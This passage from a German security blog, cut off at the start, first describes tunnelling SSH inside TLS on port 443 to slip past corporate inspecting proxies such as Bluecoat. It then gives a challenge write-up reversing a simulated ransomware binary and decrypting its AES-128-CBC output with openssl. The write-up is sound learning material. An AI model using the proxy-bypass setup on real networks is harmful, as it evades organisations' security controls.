<span class="n">SSH</span><span class="o">-</span><span class="mf">2.0</span><span class="o">-</span><span class="n">OpenSSH_7</span><span class="o">.</span><span class="mi">2</span><span class="n">p2</span><span class="w"> </span><span class="n">Ubuntu</span><span class="o">-</span><span class="mi">4</span><span class="n">ubuntu2</span><span class="o">.</span><span class="mi">1</span>
<span class="n">Protocol</span><span class="w"> </span><span class="n">mismatch</span><span class="o">.</span>
</code></pre></div>
<p>Und HTTP in TLS:</p>
<div class="highlight"><pre><span></span><code>dimi@lnx:~#<span class="w"> </span>openssl<span class="w"> </span>s_client<span class="w"> </span>-connect<span class="w"> </span>blog.3or.de:443<span class="w"> </span>-quiet<span class="w"> </span>
GET<span class="w"> </span>/<span class="w"> </span>HTTP/1.0
HTTP/1.1<span class="w"> </span>200<span class="w"> </span>OK
Server:<span class="w"> </span>nginx/1.10.0<span class="w"> </span>(Ubuntu)
Date:<span class="w"> </span>Sun,<span class="w"> </span>13<span class="w"> </span>Nov<span class="w"> </span>2016<span class="w"> </span>19:23:00<span class="w"> </span>GMT
Content-Type:<span class="w"> </span>text/html
Content-Length:<span class="w"> </span>28
Last-Modified:<span class="w"> </span>Sun,<span class="w"> </span>23<span class="w"> </span>Oct<span class="w"> </span>2016<span class="w"> </span>15:36:53<span class="w"> </span>GMT
Connection:<span class="w"> </span>close
ETag:<span class="w"> </span>"580cd915-1c"
Accept-Ranges:<span class="w"> </span>bytes
Strict-Transport-Security:<span class="w"> </span>max-age=31536000
<span class="nt"><marquee></span><span class="w"> </span>hallo.<span class="w"> </span><span class="nt"></marquee></span>
</code></pre></div>
<p>Und über die Konfigurationsoption "ProxyCommand" verheiratet man dieses
Konstrukt mit seinem SSH-Client:</p>
<div class="highlight"><pre><span></span><code>Host blog.3or.de
HostName blog.3or.de
User dimi
LocalForward localhost:8118 localhost:8118
IdentityFile /home/dslamar/.ssh/outdoor.id
ProxyCommand proxytunnel --quiet -d blog.3or.de:443 -e
</code></pre></div>
<p>Der OpenSSH-Client ruft zunächst proxytunnel auf, schiebt dann seine
SSH-TCP-Verbindung über STDIN/SDTOUT des proxytunnel-Prozess innerhalb
des TLS-Tunnel zum HAProxy-Server. Dieser erkennt erkennt den <em>identification string</em> SSH-2.0, leitet an den sshd weiter.</p>
<p>Das tolle an dieser Lösung: Man kommt, im no-interception HTTPS-Proxy-Szenario,
an Proxylösungen wie Bluecoat vorbei. Versucht ein Client über einen
Bluecoat-Proxy eine TLS-Verbindung zu einer Seite aufzubauen, baut dieser - bevor die TLS-Verbindung
zwischen Client und Server erlaubt wird - parallel dazu eine
HTTPS-Verbindung zum Server auf. Diese soll dazu dienen zu prüfen ob der Server
tatsächlich HTTPS spricht oder ob der Client eine andere TCP-Verbindung durch den Proxy tunneln will.
Erst wenn diese Testverbindung erfolgreich war
und der Server wirklich HTTPS spricht wird die Verbindung des Clients erlaubt.</p>BND Reverse Engineering Challenge: Level 22016-10-03T22:22:00+02:002016-10-03T22:22:00+02:00dimitag:blog.3or.de,2016-10-03:/bnd-reverse-engineering-challenge-level-2.html<p>Die Lösung des 2. Levels der aktuellen Reverse Engineering Challenge des BND. Spoileralert! :)</p><p>Der BND hat vor einigen Wochen eine Reverse Engineering Challenge
veröffentlicht. Da ich mich zur Zeit ein wenig in RE von x86-Binaries übe habe
ich mich mal an die Challenge gesetzt. Level 1 ist eine einfache
.NET-Application, die mit den entsprechenden Tools einfach decompiliert
werden kann. Im Grunde keine Herausforderung - mit ein wenig google-fu und
einfachen Programmierkenntnissen.</p>
<p>Im Level 2 fängt dann der Spaß an - zumindest für mich als Assembler-, RE-
und IDA Pro-Neuling. Vor allem eine Windows-Binary habe ich noch nie
disassembliert.</p>
<p>Die Challenge simuliert die Situation eines Crypto-Lockers: Man wird infiziert
(evil.exe) und diese Malware hat ein Foto (Urlaubsphoto.png.crypt)
verschlüsselt. Ziel ist es dieses Urlaubsfoto zu entschlüsseln. Diese beiden
Dateien sind der Ausgangspunkt der Challenge.</p>
<p>Das entschlüsselte Bild sieht so aus:</p>
<p><img alt="Ergebnis Level 2" src="https://blog.3or.de/images/bnd-re-challenge-level-2-7.png"></p>
<p>Da es beim RE vor allem darum geht Muster zu erkennen statt einzelne
Mnemonics zu verstehen, versuche ich diesen Beitrag weniger auf das
Erklären einzelner Instruktionen auszurichten, sondern darauf Muster an den
bestimmten, zur Lösung vielleicht notwendigen Stellen, zu besprechen. Mein
Hauptziel des Beitrags ist mir selbst diese Muster und die
kritischen Stellen nochmal bewusst zu machen und zu verfestigen - und vielleicht
ist das ja für den einen oder anderen da draußen hilfreich. :)</p>
<p>** Kommentare oder Fragen zu der Challenge gerne per Mail an mich.**</p>
<p>Folgende Teilbereiche will ich beschreiben:</p>
<ol>
<li>Parameterübergabe in der Kommandozeile</li>
<li>Layout der verschlüsselten Dateien</li>
<li>Verschlüsselung</li>
</ol>
<p>Die Klarnamen der Funktionen und Variablen stammen natürlich von mir - es sind keine Debug-Symbole
in der exe.</p>
<h2>Parameterübergabe in der Kommandozeile</h2>
<p>Nachdem man die WinMain-Funktion gefunden hat, kann es direkt los gehen. In den
ersten Instruktionen sieht man direkt: Es werden 4 Argumente erwartet und
verarbeitet:</p>
<p><img alt="IDA Pro: Parameterverarbeitung" src="https://blog.3or.de/images/bnd-re-challenge-level-2-1.png"></p>
<p>Die Adresse von argv (&argv) wird in esi gespeichert und im abgebildeten Block als Basis genutzt -
die einzelnen Parameter über Offsets im Array referenziert. Zur Erinnerung
die Parameter der Kommandozeile werden als argv**-Array übergeben. D.h. [esi + 4],
[esi + 8] und [esi + C] sind jeweils char*. argv[0] ([esi]) ist der Name der ausführbaren Datei und
wird in diesem Fall nicht beachtet.</p>
<h3>argv[1]</h3>
<p>Der erste Parameter wird direkt in die Funktion checkAndCopyKey(key, key_copy) übergeben.
Einige Erkenntnisse, die ich hier gewonnen habe, könnt ihr im Bereich Things Learned nachlesen.
Hier nur die Zusammenfassung:</p>
<ol>
<li>Länge des übergebenen Key-Strings: 20, sonst abbruch. </li>
<li>Prüfe ob alle Zeichen Hex sind</li>
<li>Konvertiere den übergebenen Key-String als Bytes nach nach key_copy</li>
</ol>
<p>Die 2. Prüfung, ob alle Zeichen Hex-Werte sind, geschieht wie folgt:</p>
<div class="highlight"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="nv">n</span><span class="w"> </span><span class="nv">in</span><span class="w"> </span><span class="ss">(</span><span class="mi">0</span>,<span class="mi">2</span>,<span class="mi">4</span>,...,<span class="mi">30</span><span class="ss">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="ss">(</span><span class="nv">printf</span><span class="ss">(</span><span class="s2">"%2X"</span>,<span class="nv">key</span>[<span class="nv">n</span>,<span class="nv">n</span><span class="o">+</span><span class="mi">1</span>]<span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="ss">))</span><span class="w"> </span><span class="k">continue</span><span class="c1">;</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="nv">Abbruch</span>
</code></pre></div>
<p>Anschließend wird der Key "verschlüsselt": Die 16 Bytes des Key werden einer Zweierreihe und 0x55 gexored.</p>
<div class="highlight"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">n</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="p">(</span><span class="mf">0.</span><span class="p">.</span><span class="mf">.15</span><span class="p">)</span><span class="err">:</span>
<span class="w"> </span><span class="n">key_copy</span><span class="o">[</span><span class="n">n</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">esi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">n</span><span class="p">)</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="mh">0x55</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="mi">2</span><span class="n">n</span>
</code></pre></div>
<p>Es wird sich später herausstellen: Der verschlüsselte Key wird im Dateiheader gespeichert und vermutlich daher etwas obfuskiert. :)</p>
<h3>argv[2] und argv[3]</h3>
<p>Die Dateien werden geöffnet - man sieht sehr schön an den auf den Stack
gepushten Strings was passiert: argv[2] wird im Modus "rb" geöffnet, argv[3] als
"wb" - diese Strings liegen hier in der Section .rdata und eine Referenz auf
diese wird jeweils vor dem open()-call auf den Stack gepushed.</p>
<h3>Ergebnis</h3>
<p>Als Ergebnis haben wir also</p>
<div class="highlight"><pre><span></span><code>./evil.exe key pfadZurQuelldatei pfadZurZieldatei
</code></pre></div>
<p>Wobei key ein Hex-String sein muss, 32 Zeichen und damit 16 Byte lang.</p>
<h2>Layout der verschlüsselten Dateien</h2>
<p>Die verschlüsselten Dateien sehen so aus:</p>
<div class="highlight"><pre><span></span><code><span class="n">dimi</span><span class="nv">@hermes</span><span class="w"> </span><span class="o">~/</span><span class="n">bnd</span><span class="o">/</span><span class="k">Level</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">hexdump</span><span class="w"> </span><span class="o">-</span><span class="n">C</span><span class="w"> </span><span class="n">b</span><span class="p">.</span><span class="k">out</span><span class="w"> </span><span class="n">H</span><span class="w"> </span>
<span class="mi">00000000</span><span class="w"> </span><span class="mi">54</span><span class="w"> </span><span class="mi">6</span><span class="n">f</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">61</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">6</span><span class="n">f</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">76</span><span class="w"> </span><span class="mi">65</span><span class="w"> </span><span class="mi">72</span><span class="w"> </span><span class="mi">73</span><span class="w"> </span><span class="mi">63</span><span class="w"> </span><span class="o">|</span><span class="n">Total</span><span class="w"> </span><span class="n">toll</span><span class="w"> </span><span class="n">versc</span><span class="o">|</span>
<span class="mi">00000010</span><span class="w"> </span><span class="mi">68</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">65</span><span class="w"> </span><span class="mi">73</span><span class="w"> </span><span class="mi">73</span><span class="w"> </span><span class="mi">65</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">21</span><span class="w"> </span><span class="mi">05</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="mi">02</span><span class="w"> </span><span class="o">|</span><span class="n">hluesselt</span><span class="err">!</span><span class="p">......</span><span class="o">|</span>
<span class="mi">00000020</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="mi">0</span><span class="n">c</span><span class="w"> </span><span class="mi">0</span><span class="n">e</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">12</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="mi">18</span><span class="w"> </span><span class="mi">1</span><span class="n">a</span><span class="w"> </span><span class="mi">1</span><span class="n">c</span><span class="w"> </span><span class="mi">1</span><span class="n">e</span><span class="w"> </span><span class="mi">6</span><span class="n">b</span><span class="w"> </span><span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="o">|</span><span class="p">..............</span><span class="n">k</span><span class="p">.</span><span class="o">|</span>
<span class="mi">00000030</span><span class="w"> </span><span class="mi">8</span><span class="n">e</span><span class="w"> </span><span class="n">ba</span><span class="w"> </span><span class="n">bc</span><span class="w"> </span><span class="n">e0</span><span class="w"> </span><span class="n">b1</span><span class="w"> </span><span class="n">a1</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="mi">48</span><span class="w"> </span><span class="n">ac</span><span class="w"> </span><span class="mi">8</span><span class="n">d</span><span class="w"> </span><span class="n">e7</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="mi">8</span><span class="n">d</span><span class="w"> </span><span class="mi">1</span><span class="n">d</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="n">ac</span><span class="w"> </span><span class="o">|</span><span class="p">.......</span><span class="n">H</span><span class="p">........</span><span class="o">|</span>
<span class="mi">00000040</span><span class="w"> </span><span class="mi">63</span><span class="w"> </span><span class="mi">1</span><span class="n">b</span><span class="w"> </span><span class="mi">52</span><span class="w"> </span><span class="mi">05</span><span class="w"> </span><span class="mi">72</span><span class="w"> </span><span class="mi">0</span><span class="n">e</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="mi">0</span><span class="n">f</span><span class="w"> </span><span class="mi">0</span><span class="n">b</span><span class="w"> </span><span class="mi">98</span><span class="w"> </span><span class="n">c2</span><span class="w"> </span><span class="mi">13</span><span class="w"> </span><span class="mi">7</span><span class="n">d</span><span class="w"> </span><span class="n">c0</span><span class="w"> </span><span class="mi">9</span><span class="n">a</span><span class="w"> </span><span class="o">|</span><span class="n">c</span><span class="p">.</span><span class="n">R</span><span class="p">.</span><span class="n">r</span><span class="p">........</span><span class="err">}</span><span class="p">..</span><span class="o">|</span>
<span class="mi">00000050</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="n">a9</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="n">ba</span><span class="w"> </span><span class="mi">8</span><span class="n">e</span><span class="w"> </span><span class="mi">8</span><span class="n">b</span><span class="w"> </span><span class="mi">36</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="mi">36</span><span class="w"> </span><span class="mi">1</span><span class="n">d</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="mi">67</span><span class="w"> </span><span class="mi">39</span><span class="w"> </span><span class="n">b3</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="o">|</span><span class="p">..</span><span class="n">B</span><span class="p">..</span><span class="mf">.6</span><span class="n">tS6</span><span class="p">..</span><span class="n">g9</span><span class="p">..</span><span class="o">|</span>
<span class="mi">00000060</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="mi">8</span><span class="n">c</span><span class="w"> </span><span class="mi">83</span><span class="w"> </span><span class="mi">64</span><span class="w"> </span><span class="n">b5</span><span class="w"> </span><span class="mi">6</span><span class="n">a</span><span class="w"> </span><span class="n">cf</span><span class="w"> </span><span class="mi">78</span><span class="w"> </span><span class="mi">12</span><span class="w"> </span><span class="mi">4</span><span class="n">b</span><span class="w"> </span><span class="n">d0</span><span class="w"> </span><span class="mi">70</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="n">f1</span><span class="w"> </span><span class="mi">13</span><span class="w"> </span><span class="n">a0</span><span class="w"> </span><span class="o">|</span><span class="p">...</span><span class="n">d</span><span class="p">.</span><span class="n">j</span><span class="p">.</span><span class="n">x</span><span class="p">.</span><span class="n">K</span><span class="p">.</span><span class="n">p</span><span class="p">....</span><span class="o">|</span>
<span class="mi">00000070</span><span class="w"> </span><span class="n">de</span><span class="w"> </span><span class="mi">0</span><span class="n">f</span><span class="w"> </span><span class="n">a4</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="n">fb</span><span class="w"> </span><span class="n">ea</span><span class="w"> </span><span class="mi">80</span><span class="w"> </span><span class="n">df</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="mi">22</span><span class="w"> </span><span class="mi">2</span><span class="n">b</span><span class="w"> </span><span class="n">ce</span><span class="w"> </span><span class="n">c0</span><span class="w"> </span><span class="mi">2</span><span class="n">c</span><span class="w"> </span><span class="n">c0</span><span class="w"> </span><span class="mi">6</span><span class="n">f</span><span class="w"> </span><span class="o">|</span><span class="p">..</span><span class="mf">.0</span><span class="p">.....</span><span class="err">"</span><span class="o">+</span><span class="p">..,.</span><span class="n">o</span><span class="o">|</span>
<span class="mi">00000080</span><span class="w"> </span><span class="mi">65</span><span class="w"> </span><span class="mi">7</span><span class="n">e</span><span class="w"> </span><span class="n">ba</span><span class="w"> </span><span class="mi">9</span><span class="n">c</span><span class="w"> </span><span class="n">bb</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">84</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">bd</span><span class="w"> </span><span class="mi">4</span><span class="n">c</span><span class="w"> </span><span class="mi">88</span><span class="w"> </span><span class="n">a7</span><span class="w"> </span><span class="n">eb</span><span class="w"> </span><span class="mi">0</span><span class="n">e</span><span class="w"> </span><span class="mi">82</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="o">|</span><span class="n">e</span><span class="o">~</span><span class="p">...</span><span class="n">l</span><span class="p">...</span><span class="n">L</span><span class="p">......</span><span class="o">|</span>
<span class="mi">00000090</span><span class="w"> </span><span class="mi">48</span><span class="w"> </span><span class="mi">6</span><span class="n">e</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">21</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">41</span><span class="w"> </span><span class="mi">91</span><span class="w"> </span><span class="n">f1</span><span class="w"> </span><span class="mi">95</span><span class="w"> </span><span class="mi">72</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="mi">89</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="n">ec</span><span class="w"> </span><span class="o">|</span><span class="n">Hnu</span><span class="err">!</span><span class="n">SlA</span><span class="p">...</span><span class="n">r</span><span class="p">..</span><span class="mf">.0</span><span class="p">.</span><span class="o">|</span>
</code></pre></div>
<p>Ganz offensichtlich ist der String "Total toll verschluesselt!", der an den
Anfang der Datei gepackt wird - ich nenn sie mal die BND-Magic-Bytes. ;)
Weiterhin zeigt sich aber, dass insgesamt 3 Header vor die eigentliche
verschlüsselte Datei geschrieben werden.</p>
<p><img alt="IDA Pro: Dateiheader schreiben" src="https://blog.3or.de/images/bnd-re-challenge-level-2-3.png"></p>
<p>Wenn man die Funktion <strong>writeFile</strong> identifiziert hat sieht man sehr schön was
passiert: writeFile wird 3 mal aufgerufen. In diesem Fall ist die
Calling-Convention offensichtlich cdecl, alle Parameter werden auf dem Stack
übergeben. Wir sehen: das vorletzte gepushte Argument ist jeweils die Länge, das
letzte der char*, der geschrieben werden soll. Aus dieser Erkentniss ergibt sich
folgendes Dateilayout:</p>
<ol>
<li>Der erste Teil, der in die Datei geschrieben wird, hat die Länge, die in
ecx bestimmt wurde (inline strlen() nicht auf der Abbildung). Das ist im Grunde
sinnlos, weil "Total toll verschluesselt!" immer 26 Byte hat.</li>
<li>Während des Ablaufs wurde die Dateigröße in Byte bestimmt und in
sourceFileSizeByte gespeichert. Diese wird als zweiter Wert in den
Dateiheader geschrieben.</li>
<li>Als drittes wird key_copy (wir erinnern uns an die Prüfung und vor allem an
die Obfuskierung von argv[1], die ich im vorherigen Abschnitt
beschrieben habe) in den Dateiheader geschrieben. Immer 16 Byte.</li>
</ol>
<h3>Ergebnis</h3>
<p>Das Layout der Datei ist wie folgt:</p>
<div class="highlight"><pre><span></span><code><span class="mf">1.</span><span class="w"> </span><span class="mf">26</span><span class="w"> </span><span class="n">Byte</span><span class="w"> </span><span class="n">BND</span><span class="o">-</span><span class="n">Magic</span><span class="o">-</span><span class="n">Bytes</span><span class="p">:</span><span class="w"> </span><span class="kr">To</span><span class="n">tal</span><span class="w"> </span><span class="kr">to</span><span class="n">ll</span><span class="w"> </span><span class="n">verschluesselt</span><span class="err">!</span>
<span class="mf">2.</span><span class="w"> </span><span class="mf">4</span><span class="w"> </span><span class="n">Byte</span><span class="p">,</span><span class="w"> </span><span class="n">Dateigröße</span><span class="w"> </span><span class="n">in</span><span class="w"> </span><span class="n">Byte</span><span class="p">:</span><span class="w"> </span><span class="n">Der</span><span class="w"> </span><span class="n">Trojaner</span><span class="w"> </span><span class="n">kann</span><span class="w"> </span><span class="n">also</span><span class="w"> </span><span class="n">nur</span><span class="w"> </span><span class="n">bis</span><span class="w"> </span><span class="n">zu</span><span class="w"> </span><span class="mf">4</span><span class="w"> </span><span class="n">GB</span><span class="w"> </span><span class="n">große</span>
<span class="w"> </span><span class="n">Dateien</span><span class="w"> </span><span class="n">verschlüsseln</span>
<span class="mf">3.</span><span class="w"> </span><span class="mf">16</span><span class="w"> </span><span class="n">Byte</span><span class="p">:</span><span class="w"> </span><span class="n">Der</span><span class="w"> </span><span class="n">verschlüsselte</span><span class="w"> </span><span class="n">Encryption</span><span class="o">-</span><span class="n">Key</span>
</code></pre></div>
<h2>Verschlüsselung</h2>
<p>Kommen wir zum spannendsten Teil: Der Verschlüsselung. Lässt man eine Datei
bestehend nur aus Nullen verschlüsselt erhält man den oben teilweise abgebildeten
Hexdump. <strong>ent</strong> sagt zu der Datei: 7,99842 Bit per Byte Entropy. Die hohe
Entropie deutet darauf hin, dass es sich um eine gute Cipher handelt. Wäre
beispielsweise die Datei einfach mit dem Key gexored worden, wäre hier ein
deutlich niedrigerer Wert herausgekommen.</p>
<p>In hier nicht besprochenen Teilen des Disassembly prüft die Malware ob es sich
bei der Größe der Datei um ein Vielfaches von 16 Byte handelt. Die Cipher
scheint also die Blockgröße von 16 zu haben. Weiterhin wird die Quelldatei in
einen Heap-Speicherbeich kopiert, der ein Vielfaches der Blockgröße ist.
Zudem wird nochmal ein gleichgroßer Bereich alloziert, in den die
verschlüsselten Daten kopiert werden (die allocs dazu sieht man in dem oben
abgebildeten Bild, sind aber für das für diesen Artikel weniger wichtig). </p>
<p>Hat man die allocs mal erkannt sieht man sehr schön: Die in eax zurückgegebenen
Pointer auf den reservierten Speicher (Quell- und Zieldatei) werden als
erster und zweiter Parameter an eine Funktion übergeben. Kurz danach ist die Malware fertig mit verschlüsseln - das legt die Annahme nahe, dass es sich hierbei um die
Verschlüsselungsfunktion handelt:</p>
<p><img alt="IDA Pro: Verschlüsselung" src="https://blog.3or.de/images/bnd-re-challenge-level-2-4.png"></p>
<p>Zur Verschlüsselungsfunkion kommen wir gleich. Zunächst ein Blick in die expandKey-Funktion.
Diese liefert den ersten deutlichen Hinweis auf
die verwendete Chiffe: <strong>AES</strong>. Hier wird heftig gexored, geshifted und auf in der
Binary fest hinterlegte Werte zugegriffen. Diese Werte sind Sboxen, die
innerhalb von AES verwendet werden. In der Variablen expandedKey landen am Ende 240
Byte aus dem Key Schedule. Dieser Wert gibt einen falschen Hinweis auf die
verwendete Schlüssellänge: 256 Bit. Wäre die Schlüssellänge 128 Bit wäre die
Größe des expanded Keys 176 Byte, 208 bei 192-bit Keys. Offensichtlich wird der
komplette Keyschedule gemacht, aber nur die für AES-128 Bytes notwendigen genutzt.</p>
<p>Eine tolle Ressource für einen Überblick über AES (den in in der Tiefe bis zu
dieser Challenge nicht hatte) findet ihr
<a href="http://www.abmh.de/fhs/crypt/AES2LoopAES/RST_AES.HTML/">hier</a>. Von da stammt
auch folgender AES-Pseudocode:</p>
<div class="highlight"><pre><span></span><code><span class="n">Rijndael</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="k">Key</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w"> </span>
<span class="w"> </span><span class="n">KeyExpansion</span><span class="p">(</span><span class="k">Key</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="n">AddRoundKey</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="o">[</span><span class="n">0</span><span class="o">]</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">N</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w"> </span>
<span class="w"> </span><span class="nf">Round</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="err">}</span><span class="w"> </span>
<span class="w"> </span><span class="n">FinalRound</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="o">[</span><span class="n">N</span><span class="o">]</span><span class="p">);</span><span class="w"> </span>
<span class="p">)</span>
<span class="nf">Round</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w"> </span>
<span class="w"> </span><span class="n">SubBytes</span><span class="p">(</span><span class="k">Data</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="n">ShiftRows</span><span class="p">(</span><span class="k">Data</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="n">MixColums</span><span class="p">(</span><span class="k">Data</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="n">AddRoundKey</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="p">);</span><span class="w"> </span>
<span class="err">}</span>
<span class="n">FinalRound</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w"> </span>
<span class="w"> </span><span class="n">SubBytes</span><span class="p">(</span><span class="k">Data</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="n">ShiftRows</span><span class="p">(</span><span class="k">Data</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="n">AddRoundKey</span><span class="p">(</span><span class="k">Data</span><span class="p">,</span><span class="w"> </span><span class="n">ExpandedKey</span><span class="p">);</span><span class="w"> </span>
<span class="err">}</span>
</code></pre></div>
<p>Den Aufruf KeyExpansion() haben wir eben schon gesehen. Alle weiteren Teile von
AES finden wir innerhalb der Funktion encryptFile, beziehungsweise von dort aus aufgerufenen
Funktion AES(). Zunächst zum AES-Betriebsmodus, der in der Funktion encryptFile
zu finden ist.</p>
<p>Man sieht sehr schön, dass die große Schleife innerhalb der encryptFile-Funktion
als Abbruchbedingung die Anzahl der Blöcke der Datei hat. ( ganz unten, "dec [ebp + blockCount]").
Nach einigem Reverse Engineering erkennt man auch den Operationsmodus der
Chiffre: <strong>CBC</strong>. Es wandert jeweils ein 16-ByteBlock als Feedback in die
große, blockverarbeitende Schleife. Dieser Block wird zunächst mit dem neuen
Quelldaten-Block gexored. Das Gesamtbild:</p>
<p><img alt="IDA Pro: Verschlüsselung" src="https://blog.3or.de/images/bnd-re-challenge-level-2-6.png"></p>
<p>Jeder gexorte Block wandert in die Funktion AES(), welche die im obigen
Pseudocode beschriebenen Funktionen implementiert zeigt. Der Compiler(?) macht aus
den Funktionen AddRoundKey, Round und FinalRound eine Funktion, die ich AES()
genannt habe (00E0180A im Bild). Man erkennt
alle drei Teile von AES sehr schön: die Schleife für die Runden, den AddRoundKey-Aufruf, der vor der ersten
AES-Runde passiert und die FinalRound. Schaut den Disassembly an, ein Bild
spare ich mir aufgrund der Größe.</p>
<p>Für den Betriebsmodus CBC fehlt uns noch ein wichtiger Parameter: Der
Initialisierungsvektor. Dieser wird noch in WinMain() berechnet und basiert auf
folgendem, einfachen Algorithmus:</p>
<div class="highlight"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">n</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="p">(</span><span class="mf">0..15</span><span class="p">)</span><span class="err">:</span>
<span class="w"> </span><span class="n">iv</span><span class="o">[</span><span class="n">n</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Das</span><span class="w"> </span><span class="n">letzte</span><span class="w"> </span><span class="n">Byte</span><span class="w"> </span><span class="n">der</span><span class="w"> </span><span class="n">Dateigröße</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">Byte</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">n</span>
</code></pre></div>
<h3>Ergebnis</h3>
<p>Die verwendete Verschlüsselung lässt sich einfach zusammenfassen: AES-128-CBC
mit einem IV basierend auf der Dateigröße und dem übergebenen Key.</p>
<p>Denkt dran: Die Dateigröße der entschlüsselten Datei steht im Header der verschlüsselten Daten. Genau wie der obfuskierte Key.</p>
<h1>Decryptor</h1>
<p>Folgender Befehl entschlüsselt das obige Urlaubsfoto des BND.</p>
<div class="highlight"><pre><span></span><code>openssl enc -d -in Urlaubsphoto2.png.crypt.headerless -out Urlaubsphoto2.png.crypt.decrypted -iv f8f9fafbfcfdfefff0f1f2f3f4f5f6f7 -K df892ceecabd40b1ea5151b930ae9bee -aes-128-cbc -nosalt -nopad
</code></pre></div>
<p>Der folgende Decryptor gibt ein fertiges openssl-Kommando zum entschlüsseln jeder beliebigen Datei zurück. Die verschlüsselte Datei ist einziger Parameter.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
